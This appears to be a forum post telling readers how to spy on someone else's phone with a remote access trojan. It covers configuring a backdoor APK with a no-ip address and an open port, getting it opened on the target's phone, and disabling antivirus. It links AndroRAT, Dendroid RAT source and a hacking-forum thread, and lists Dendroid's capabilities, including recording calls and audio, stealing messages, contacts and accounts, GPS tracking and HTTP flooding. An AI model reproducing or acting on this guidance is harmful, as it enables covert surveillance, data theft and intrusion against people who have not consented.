there are Many ways to spy a phone for free. you can create your own server.apk (backdoor). with these tools 
your server.apk file should opened on the phone which you want to spy.

how to setup server.apk

-you have to create an account on service like www.noip.com 
-you should open your port.
-you will enter your noip adress and opened port to connect your server.apk online from internet connection.

Forexample:
this is PC to PC Spy program,  server configuration is similar like this:

Remote Administration Tool for PC
 http://www.youtube.com/watch?v=UZ5PGnzAlZc 




1- Remote Administration tool for Android (androrat)

http://onhax.net/androrat/


2- dendroid rat source: http://www48.zippyshare.com/v/50392795/file.html

how to setup: https://www.youtube.com/watch?v=o4aJ8bcO3ak



what is dendroid rat. 


Features:
Works with Android
Ringer Up/Down
Media Up/Down
Screen On
Intercept On/Off
Block SMS On/Off
Record Audio
Record Video
Take Photo Front/Back
Record Calls On/Off
Get:
SMS Inbox/OutBox
Browser History/Bookmarks
Call History
Contacts
User Accounts
Installed Apps
Send SMS
Delete SMS
Send SMS To All Contacts
Call Numbers
Delete Call Log
Open Page
Open Dialog (Toast Notification)
Open App
HTTP Flood
Update App
Transfer Bot
Gps Map



3- iphone/android/blacberry
 copy-paste text below with 'cache:' to google search box and click enter. 

 ' cache:http://www.hackforums.net/showthread.php?tid=3398504 '


———You should close your antivirus program to use one of these methods.